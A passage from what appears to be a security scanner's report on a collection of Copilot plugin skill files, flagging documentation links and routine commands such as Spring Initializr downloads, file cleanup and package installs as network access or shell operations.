    - [ ] Follow-up owners and dates are explicit. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 430
    ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 431
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 432
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/github-copilot/plugins/go-to-market/skills/gtm-developer-ecosystem/SKILL.md

  • Network accessline 7
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 9
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 354
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 355
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/github-copilot/plugins/go-to-market/skills/gtm-enterprise-account-planning/SKILL.md

  • Network accessline 5
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 241
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 242
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/plugins/go-to-market/skills/gtm-enterprise-onboarding/SKILL.md

  • Network accessline 7
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 9
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 10
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 437
    - [ ] Red flags such as Week 4 ghosting, Week 5 pilot non-use, and Week 8-12 adoption decline have escalation actions. ## References - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 438
    ## References - [Smit Patel](https://linkedin.com/in/smitkpatel) - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 439
    - [Smit Patel](https://linkedin.com/in/smitkpatel)
  • Network accessline 440
    - [technical-product-gtm](https://github.com/beingsmit/technical-product-gtm)

harness/github-copilot/plugins/go-to-market/skills/gtm-operating-cadence/SKILL.md

  • Network accessline 5
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 258
    - [technical-product-gtm source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 259
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/plugins/go-to-market/skills/gtm-partnership-architecture/SKILL.md

  • Network accessline 5
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 156
    - [Original technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 157
    - [Author profile](https://linkedin.com/in/smitkpatel)

harness/github-copilot/plugins/go-to-market/skills/gtm-positioning-strategy/SKILL.md

  • Network accessline 5
    license: MIT metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 198
    - [Source repository](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 199
    - [Author profile](https://linkedin.com/in/smitkpatel)

harness/github-copilot/plugins/go-to-market/skills/gtm-product-led-growth/SKILL.md

  • Network accessline 5
    license: "MIT" metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 6
    metadata:   author: "Smit Patel (https://linkedin.com/in/smitkpatel)"   source: "https://github.com/beingsmit/technical-product-gtm"
  • Network accessline 7
    author: "Smit Patel (https://linkedin.com/in/smitkpatel)"
  • Network accessline 8
    source: "https://github.com/beingsmit/technical-product-gtm"

harness/github-copilot/plugins/go-to-market/skills/gtm-technical-product-pricing/SKILL.md

  • Network accessline 5
    license: MIT metadata:   author: Smit Patel (https://linkedin.com/in/smitkpatel)
  • Network accessline 6
    metadata:   author: Smit Patel (https://linkedin.com/in/smitkpatel)   source: https://github.com/beingsmit/technical-product-gtm
  • Network accessline 7
    author: Smit Patel (https://linkedin.com/in/smitkpatel)
  • Network accessline 8
    source: https://github.com/beingsmit/technical-product-gtm
  • Network accessline 194
    - [Technical product GTM source](https://github.com/beingsmit/technical-product-gtm)
  • Network accessline 195
    - [Smit Patel](https://linkedin.com/in/smitkpatel)

harness/github-copilot/plugins/go-to-market/skills/landing-page-conversion-audit/SKILL.md

  • Network accessline 94
    If the user wants those built rather than diagnosed, Autonnel is an Apache-2.0 self-hosted funnel builder that supports landing → checkout → one-click upsell → thank-you, click IDs, and server-side postbacks to Facebook, TikTok, Google, and
  • Network accessline 99
    docker compose up # open http://localhost:4321 and complete /setup
  • Network accessline 100
    # open http://localhost:4321 and complete /setup
  • Network accessline 138
    - [Autonnel](https://github.com/autonnel/autonnel)
  • Network accessline 139
    - [Local Autonnel setup endpoint](http://localhost:4321)

harness/github-copilot/plugins/go-to-market/skills/server-side-conversion-tracking/SKILL.md

  • Network accessline 87
    [Autonnel](https://github.com/autonnel/autonnel) is Apache-2.0 and self-hosted. It implements capture, server-side funnel sessions, cross-domain carry, order attachment, queued server-side conversions to Facebook Conversions API, TikTok Eve
  • Network accessline 89
    Get the repository from <https://github.com/autonnel/autonnel>, check out a release tag, and read its `docker-compose.yml` for images and ports. From that checkout:
  • Network accessline 92
    docker compose up # open http://localhost:4321, complete /setup, then Settings → Ad platforms
  • Network accessline 93
    # open http://localhost:4321, complete /setup, then Settings → Ad platforms
  • Network accessline 140
    - [Autonnel](https://github.com/autonnel/autonnel)

harness/github-copilot/plugins/incident-response/skills/bug-receipt/SKILL.md

  • Network accessline 111
    - [Original bug-receipt repository](https://github.com/lMysticl/bug-receipt)

harness/github-copilot/plugins/incident-response/skills/bug-receipt/references/receipt.schema.json

  • Network accessline 1
    {   "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 2
    "$schema": "https://json-schema.org/draft/2020-12/schema",
  • Network accessline 3
    "$id": "https://lmysticl.github.io/bug-receipt/receipt.schema.json",

harness/github-copilot/plugins/incident-response/skills/bug-receipt/scripts/validate-receipt.mjs

  • Executable scriptline 1
    Executable file

harness/github-copilot/plugins/incident-response/skills/bug-reproduction-brief/SKILL.md

  • Network accessline 111
    - [AI agent skill preview workflow](https://github.com/skyestrela/ai-agent-skill-preview.)

harness/github-copilot/plugins/incident-response/skills/impediment-prioritization/SKILL.md

  • Network accessline 89
    | Rank | Impediment | Countermeasure | ROI | Cost | Ease | Risk | Priority | Rationale | | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/o
  • Network accessline 90
    | --- | --- | --- | --- | --- | --- | --- | --- | --- | | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your
  • Network accessline 91
    | 1 | 2FA not enforced at org level | Enforce org-wide 2FA ([docs](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-you
  • Network accessline 92
    | 2 | Secret scanning disabled | Enable secret scanning + push protection org-wide ([docs](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)) | 8 | 3 | 7 | 3 | 25.0 | ROI: catches leaked creds pre-merge<br>Cost
  • Network accessline 93
    | 3 | No CODEOWNERS on critical repos | Add CODEOWNERS to top-20 repos ([docs](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)) | 6 | 4 | 6 | 4 | 15.0 | 
  • Network accessline 144
    - [GitHub 2FA organization enforcement](https://docs.github.com/en/organizations/keeping-your-organization-secure/managing-two-factor-authentication-for-your-organization/requiring-two-factor-authentication-in-your-organization)
  • Network accessline 145
    - [GitHub secret scanning](https://docs.github.com/en/code-security/secret-scanning/about-secret-scanning)
  • Network accessline 146
    - [GitHub CODEOWNERS](https://docs.github.com/en/repositories/managing-your-repositorys-settings-and-features/customizing-your-repository/about-code-owners)

harness/github-copilot/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/SKILL.md

  • Network accessline 23
    - https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 27
    - https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/
  • Network accessline 28
    - https://docs.arduino.cc/
  • Network accessline 29
    - https://docs.arduino.cc/language-reference/
  • Network accessline 130
    - [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/)
  • Network accessline 131
    - [Arduino getting started](https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/)
  • Network accessline 132
    - [Arduino documentation](https://docs.arduino.cc/)
  • Network accessline 133
    - [Arduino language reference](https://docs.arduino.cc/language-reference/)

harness/github-copilot/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/references/arduino-iot-checklist.md

  • Network accessline 7
    - Official references reviewed from <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/> and <https://docs.arduino.cc/>.
  • Network accessline 8
    - Language/API calls validated against <https://docs.arduino.cc/language-reference/>.

harness/github-copilot/plugins/iot-embedded-systems/skills/arduino-azure-iot-edge-integration/references/arduino-official-best-practices.md

  • Network accessline 7
    - Arduino main guide: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/>
  • Network accessline 8
    - Arduino docs home: <https://docs.arduino.cc/>
  • Network accessline 9
    - Getting started path: <https://docs.arduino.cc/learn/starting-guide/getting-started-arduino/>
  • Network accessline 10
    - Arduino IDE usage: <https://docs.arduino.cc/learn/starting-guide/the-arduino-software-ide/>
  • Network accessline 11
    - Arduino language reference: <https://docs.arduino.cc/language-reference/>
  • Network accessline 12
    - Arduino programming reference overview: <https://docs.arduino.cc/learn/programming/reference/>
  • Network accessline 13
    - Arduino memory guide: <https://docs.arduino.cc/learn/programming/memory-guide/>
  • Network accessline 14
    - Arduino debugging fundamentals: <https://docs.arduino.cc/learn/microcontrollers/debugging/>
  • Network accessline 15
    - Arduino low-power design guide: <https://docs.arduino.cc/learn/electronics/low-power/>
  • Network accessline 16
    - Arduino communication protocols index: <https://docs.arduino.cc/learn/communication/uart/>
  • Network accessline 17
    - Arduino style guide for libraries: <https://docs.arduino.cc/learn/contributions/arduino-library-style-guide/>

harness/github-copilot/plugins/iot-embedded-systems/skills/azure-smart-city-iot-solution-builder/SKILL.md

  • Network accessline 21
    Before proposing architecture that involves edge computing, review Azure IoT Edge documentation: https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 145
    - [Azure IoT Edge documentation](https://learn.microsoft.com/azure/iot-edge/)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/28256-eeprom.md

  • Network accessline 185
    * <https://www.utmel.com/components/at28bv256-eeproms-pinout-equivalent-and-datasheet?id=1019>
  • Network accessline 186
    * <https://www.futurlec.com/Memory/28C256.shtml>
  • Network accessline 187
    * <https://ww1.microchip.com/downloads/en/DeviceDoc/doc0006.pdf>
  • Network accessline 188
    * <https://bread80.com/2020/08/10/the-ben-eater-eeprom-programmer-28c256-and-software-data-protection/>

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/555.md

  • Network accessline 3
    [www.fairchildsemi.com](https://www.fairchildsemi.com)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6502.md

  • Network accessline 210
    * <https://syncopate.us/books/Synertek6502ProgrammingManual.html>
  • Network accessline 211
    * <https://en.wikipedia.org/wiki/MOS_Technology_6502>
  • Network accessline 212
    * <https://web.archive.org/web/20061114024257/http://www.westerndesigncenter.com/wdc/documentation/Programmanual.pdf>
  • Network accessline 213
    * Tutorial excerpts from <https://wilsonminesco.com/6502primer/>
  • Network accessline 214
    * <https://wilsonminesco.com/6502primer/LogicFamilies.html>
  • Network accessline 215
    * <https://wilsonminesco.com/6502primer/ClkGen.html>
  • Network accessline 216
    * <https://wilsonminesco.com/6502primer/RSTreqs.html>
  • Network accessline 217
    * <https://wilsonminesco.com/6502primer/displays.html>
  • Network accessline 218
    * <https://wilsonminesco.com/6502primer/debug.html>
  • Network accessline 219
    * <https://wilsonminesco.com/6502primer/potpourri.html>

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6522.md

  • Network accessline 208
    * <https://en.wikipedia.org/wiki/MOS_Technology_6522>
  • Network accessline 209
    * <https://grokipedia.com/page/MOS_Technology_6522>

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/6C62256.md

  • Network accessline 173
    * <https://www.alliancememory.com/wp-content/uploads/AS6C62256-23-March-2016-rev1.2.pdf>
  • Network accessline 174
    * <https://www.futurlec.com/Datasheet/Memory/62256.pdf>
  • Network accessline 175
    * <https://www.malinov.com/sergeys-blog/homebrew-notes.html>

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/7400-series.md

  • Network accessline 173
    * <https://www.ti.com/lit/ds/symlink/sn74ls00.pdf>
  • Network accessline 174
    * <https://archive.org/details/TTLCookBook>
  • Network accessline 175
    * <https://digilent.com/reference/test-and-measurement/analog-discovery-2/hardware-design-guide>

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/assembly-compiler.md

  • Network accessline 248
    * [MOS 6502 Programming Manual](http://archive.6502.org/datasheets/synertek_programming_manual.pdf)
  • Network accessline 249
    * [MOS 6522 VIA Datasheet](http://archive.6502.org/datasheets/mos_6522_preliminary_nov_1977.pdf)
  • Network accessline 250
    * [AT28C256 Datasheet](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf)
  • Network accessline 251
    * [HD44780 LCD Datasheet](https://www.futurlec.com/LED/LCD16X2BLa.shtml)
  • Network accessline 252
    * [cc65 Toolchain Docs](https://cc65.github.io/doc/cc65.html)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/assembly-language.md

  • Network accessline 217
    * [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html)
  • Network accessline 218
    * [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502)
  • Network accessline 219
    * [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation)
  • Network accessline 220
    * [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/breadboard.md

  • Network accessline 206
    * [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard)
  • Network accessline 207
    * [https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard](https://learn.sparkfun.com/tutorials/how-to-use-a-breadboard)
  • Network accessline 208
    * [https://learn.adafruit.com/breadboards-for-beginners](https://learn.adafruit.com/breadboards-for-beginners)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/common-breadboard-components.md

  • Network accessline 50
    * [https://en.wikipedia.org/wiki/Resistor](https://en.wikipedia.org/wiki/Resistor)
  • Network accessline 88
    * [https://en.wikipedia.org/wiki/Capacitor](https://en.wikipedia.org/wiki/Capacitor)
  • Network accessline 112
    * [https://en.wikipedia.org/wiki/Inductor](https://en.wikipedia.org/wiki/Inductor)
  • Network accessline 140
    * [https://en.wikipedia.org/wiki/Diode](https://en.wikipedia.org/wiki/Diode)
  • Network accessline 164
    * [https://en.wikipedia.org/wiki/Light-emitting_diode](https://en.wikipedia.org/wiki/Light-emitting_diode)
  • Network accessline 190
    * [https://en.wikipedia.org/wiki/Transistor](https://en.wikipedia.org/wiki/Transistor)
  • Network accessline 209
    * [https://en.wikipedia.org/wiki/Integrated_circuit](https://en.wikipedia.org/wiki/Integrated_circuit)
  • Network accessline 244
    * [https://en.wikipedia.org/wiki/Breadboard](https://en.wikipedia.org/wiki/Breadboard)
  • Network accessline 273
    * [https://learn.sparkfun.com](https://learn.sparkfun.com)
  • Network accessline 274
    * [https://www.allaboutcircuits.com](https://www.allaboutcircuits.com)
  • Network accessline 275
    * [https://www.electronics-tutorials.ws](https://www.electronics-tutorials.ws)
  • Network accessline 276
    * [https://en.wikipedia.org/wiki/Electronics](https://en.wikipedia.org/wiki/Electronics)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-28256-eeprom.md

  • Network accessline 231
    * [AT28C256 Datasheet (Microchip)](https://ww1.microchip.com/downloads/aemDocuments/documents/MPD/ProductDocuments/DataSheets/AT28C256-Industrial-Grade-256-Kbit-Paged-Parallel-EEPROM-Data-Sheet-DS20006386.pdf)
  • Network accessline 232
    * [Ben Eater 6502 Computer Series](https://eater.net/6502)
  • Network accessline 233
    * <https://www.youtube.com/watch?v=oO8_2JJV0B4>
  • Network accessline 234
    * [6502.org Memory Mapping Notes](https://6502.co.uk/lesson/memory-map)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6502.md

  • Network accessline 242
    * [https://www.masswerk.at/6502/6502_instruction_set.html](https://www.masswerk.at/6502/6502_instruction_set.html)
  • Network accessline 243
    * [https://www.nesdev.org/wiki/6502](https://www.nesdev.org/wiki/6502)
  • Network accessline 244
    * [https://github.com/Klaus2m5/6502_65C02_functional_tests](https://github.com/Klaus2m5/6502_65C02_functional_tests)
  • Network accessline 245
    * [https://en.wikipedia.org/wiki/MOS_Technology_6502](https://en.wikipedia.org/wiki/MOS_Technology_6502)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6522.md

  • Network accessline 280
    * [https://www.westerndesigncenter.com/wdc/documentation](https://www.westerndesigncenter.com/wdc/documentation)
  • Network accessline 281
    * [https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf](https://www.princeton.edu/~mae412/HANDOUTS/Datasheets/6522.pdf)
  • Network accessline 282
    * [https://www.nesdev.org/wiki/6522](https://www.nesdev.org/wiki/6522)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-6C62256.md

  • Network accessline 226
    * [Alliance Memory AS6C62256 Datasheet](https://www.alliancememory.com/wp-content/uploads/AS6C62256-23-March-2016-rev1.2.pdf)
  • Network accessline 227
    * [https://en.wikipedia.org/wiki/Static_random-access_memory](https://en.wikipedia.org/wiki/Static_random-access_memory)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/emulator-lcd.md

  • Network accessline 252
    * [HD44780U Datasheet (Hitachi)](https://academy.cba.mit.edu/classes/output_devices/44780.pdf)
  • Network accessline 253
    * [Ben Eater LCD Interface Notes](https://hackaday.io/project/174128-db6502/log/181838-adventures-with-hd44780-lcd-controller)
  • Network accessline 254
    * [Ben Eater's 6502 Computer](https://github.com/tedkotz/be6502)
  • Network accessline 255
    * [Build a 6502 Computer](https://eater.net/6502)

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/lcd.md

  • Network accessline 204
    * <https://static6.arrow.com/aropdfconversion/1f68489996f057bb6611f71d5fdb5f60f44faa72/pgurl_58439499065092.pdf>
  • Network accessline 205
    * <https://cdn.sparkfun.com/assets/9/5/f/7/b/HD44780.pdf>
  • Network accessline 206
    * <https://predictabledesigns.com/introduction-embedded-electronic-displays/>

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/minipro.md

  • Dangerous shell operationline 47
    sudo apt install minipro
  • Network accessline 53
    git clone https://github.com/vdudouyt/minipro.git
  • Dangerous shell operationline 55
    sudo make install
  • Network accessline 205
    * <https://gitlab.com/DavidGriffith/minipro>
  • Network accessline 206
    * <https://www.hadex.cz/spec/m545b.pdf>
  • Network accessline 207
    * <https://github.com/mikeroyal/Firmware-Guide>
  • Network accessline 208
    * <https://mike42.me/blog/2021-08-a-first-look-at-programmable-logic>
  • Network accessline 209
    * <https://retrocomputingforum.com/>

harness/github-copilot/plugins/iot-embedded-systems/skills/legacy-circuit-mockups/references/t48eeprom-programmer.md

  • Network accessline 170
    * <https://www.bulcomp-eng.com/datasheet/XGecu%20T48%20-%20Introduction.pdf>
  • Network accessline 171
    * <https://gitlab.com/DavidGriffith/minipro>
  • Network accessline 172
    * <https://opensource.com/article/23/1/learn-machine-language-retro-computer>

harness/github-copilot/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/SKILL.md

  • Network accessline 23
    - https://learn.microsoft.com/azure/iot-edge/
  • Network accessline 24
    - https://learn.microsoft.com/es-es/azure/iot-edge/
  • Network accessline 28
    - https://www.python.org/
  • Network accessline 29
    - https://docs.python.org/3/
  • Network accessline 30
    - https://docs.python.org/3/reference/
  • Network accessline 31
    - https://docs.python.org/3/harness/github-copilot/
  • Network accessline 134
    - [Azure IoT Edge](https://learn.microsoft.com/azure/iot-edge/)
  • Network accessline 135
    - [Azure IoT Edge Spanish documentation](https://learn.microsoft.com/es-es/azure/iot-edge/)
  • Network accessline 136
    - [Python](https://www.python.org/)
  • Network accessline 137
    - [Python 3 documentation](https://docs.python.org/3/)
  • Network accessline 138
    - [Python language reference](https://docs.python.org/3/reference/)
  • Network accessline 139
    - [Python standard library](https://docs.python.org/3/harness/github-copilot/)

harness/github-copilot/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/references/python-edge-module-template.md

  • Network accessline 7
    - Official references reviewed from <https://www.python.org/> and <https://docs.python.org/3/>.
  • Network accessline 8
    - Language and stdlib usage validated against <https://docs.python.org/3/reference/> and <https://docs.python.org/3/harness/github-copilot/>.

harness/github-copilot/plugins/iot-embedded-systems/skills/python-azure-iot-edge-modules/references/python-official-best-practices.md

  • Network accessline 7
    - Python home: <https://www.python.org/>
  • Network accessline 8
    - Python documentation portal: <https://docs.python.org/3/>
  • Network accessline 9
    - Python tutorial: <https://docs.python.org/3/tutorial/>
  • Network accessline 10
    - Python language reference: <https://docs.python.org/3/reference/>
  • Network accessline 11
    - Python standard library reference: <https://docs.python.org/3/harness/github-copilot/>
  • Network accessline 12
    - Python HOWTOs: <https://docs.python.org/3/howto/>
  • Network accessline 13
    - Installing modules: <https://docs.python.org/3/installing/>
  • Network accessline 14
    - Distributing modules: <https://docs.python.org/3/distributing/>
  • Network accessline 15
    - PEP index: <https://peps.python.org/>
  • Network accessline 16
    - PyPA packaging guide: <https://packaging.python.org/>

harness/github-copilot/plugins/java-development/skills/create-spring-boot-java-project/SKILL.md

  • Network accessline 36
    curl https://start.spring.io/starter.zip   -d artifactId=${input:projectName:demo-java}   -d bootVersion=3.4.5   -d dependencies=lombok,configuration-processor,web,data-jpa,postgresql,data-redis,data-mongodb,validation,cache,testcontainers 
  • Dangerous shell operationline 43
    rm -f starter.zip
  • Dangerous shell operationline 107
    docker-compose rm -sf
  • Dangerous shell operationline 110
    The optional run commands are `docker-compose up -d`, `./mvnw spring-boot:run`, and `docker-compose rm -sf`.

harness/github-copilot/plugins/java-kotlin-development/skills/create-spring-boot-kotlin-project/SKILL.md

  • Network accessline 27
    1. Check Java with `java -version`. 2. Download the Spring Initializr archive from https://start.spring.io/starter.zip .
  • Network accessline 28
    2. Download the Spring Initializr archive from https://start.spring.io/starter.zip .
  • Dangerous shell operationline 30
    4. Remove `starter.zip` after extraction with `rm -f starter.zip`.
  • Network accessline 39
    curl https://start.spring.io/starter.zip \
  • Dangerous shell operationline 50
    rm -f starter.zip
  • Dangerous shell operationline 116
    docker-compose rm -sf
  • Dangerous shell operationline 129
    The original `download-spring-boot-project-template` anchor maps to the Spring Initializr request in this skill. Preserve local service paths exactly: `./redis_data` maps to `/data`, `./postgres_data` maps to `/var/lib/postgresql/data`, and

harness/github-copilot/plugins/java-kotlin-development/skills/java-add-graalvm-native-image-support/SKILL.md

  • Network accessline 450
    - [ ] The native executable was started and critical paths were tested after a successful build. ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/)
  • Network accessline 451
    ## References - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/) - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html)
  • Network accessline 452
    - [GraalVM Native Image Documentation](https://www.graalvm.org/latest/reference-manual/native-image/)
  • Network accessline 453
    - [Spring Boot Native Image Guide](https://docs.spring.io/spring-boot/docs/current/reference/html/native-image.html)
  • Network accessline 454
    - [Quarkus Building Native Images](https://quarkus.io/guides/building-native-image)
  • Network accessline 455
    - [Micronaut GraalVM Support](https://docs.micronaut.io/latest/guide/index.html#graal)
  • Network accessline 456
    - [GraalVM Reachability Metadata](https://github.com/oracle/graalvm-reachability-metadata)
  • Network accessline 457
    - [Native Build Tools](https://graalvm.github.io/native-build-tools/latest/index.html)

harness/github-copilot/plugins/java-kotlin-development/skills/javax-to-jakarta-migration/SKILL.md

  • Network accessline 70
    | `pom.xml` | `javax.validation:validation-api` | `jakarta.validation:jakarta.validation-api:3.0.2` | | `pom.xml` | `javax.annotation:javax.annotation-api` | `jakarta.annotation:jakarta.annotation-api:2.1.1` | | `web.xml` | `http://xmlns.jc
  • Network accessline 72
    | `web.xml` | `http://xmlns.jcp.org/xml/ns/javaee` with `version="4.0"` on the `web-app` descriptor | `https://jakarta.ee/xml/ns/jakartaee` with `version="6.0"` on the `web-app` descriptor |
  • Network accessline 116
    - [ ] Every migrated package appears in the migration map and no keep-list package was changed. - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `v
  • Network accessline 117
    - [ ] Maven or Gradle dependencies match the Jakarta APIs used by source code. - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required. - [ ] `mvn clean compile`, `./gradlew build`, or the re
  • Network accessline 118
    - [ ] `web.xml` uses `https://jakarta.ee/xml/ns/jakartaee` and `version="6.0"` when present and required.
  • Network accessline 124
    - [Legacy Java EE web.xml namespace](http://xmlns.jcp.org/xml/ns/javaee)
  • Network accessline 125
    - [Jakarta EE XML namespace](https://jakarta.ee/xml/ns/jakartaee)

harness/github-copilot/plugins/java-kotlin-development/skills/spring-boot-testing/references/instancio.md

  • Network accessline 229
    - [Instancio Documentation](https://www.instancio.org/)
  • Network accessline 230
    - [JUnit 5 Extension](https://www.instancio.org/user-guide/#junit-integration)

harness/github-copilot/plugins/java-kotlin-development/skills/spring-boot-testing/references/restclienttest.md

  • Network accessline 40
    void shouldFetchWeather() {     // Given     server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 41
    // Given     server.expect(requestTo("https://api.weather.com/v1/current"))       .andExpect(method(HttpMethod.GET))
  • Network accessline 42
    server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 71
    @Test   void shouldFetchWeatherWithRestClient() {     server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 72
    void shouldFetchWeatherWithRestClient() {     server.expect(requestTo("https://api.weather.com/v1/current"))       .andRespond(withSuccess()
  • Network accessline 73
    server.expect(requestTo("https://api.weather.com/v1/current"))
  • Network accessline 89
    server.expect(requestTo("https://api.example.com/users/1"))
  • Network accessline 96
    server.expect(requestTo(matchesPattern("https://api.example.com/users/\\d+")))
  • Network accessline 103
    server.expect(ExpectedCount.once(),    requestTo("https://api.example.com/users"))
  • Network accessline 104
    requestTo("https://api.example.com/users"))
  • Network accessline 112
    server.expect(requestTo("https://api.example.com/users"))
  • Network accessline 121
    server.expect(requestTo("https://api.example.com/users"))
  • Network accessline 173
    void shouldCallApi() {   server.expect(ExpectedCount.once(),      requestTo("https://api.example.com/data"))
  • Network accessline 174
    server.expect(ExpectedCount.once(),      requestTo("https://api.example.com/data"))     .andRespond(withSuccess());
  • Network accessline 175
    requestTo("https://api.example.com/data"))

harness/github-copilot/plugins/java-mcp-development/skills/java-mcp-server-generator/SKILL.md

  • Network accessline 58
    <?xml version="1.0" encoding="UTF-8"?> <project xmlns="http://maven.apache.org/"
  • Network accessline 59
    <project xmlns="http://maven.apache.org/"
  • Network accessline 60
    "POM/4.0.0"          xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"          xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
  • Network accessline 61
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
  • Network accessline 62
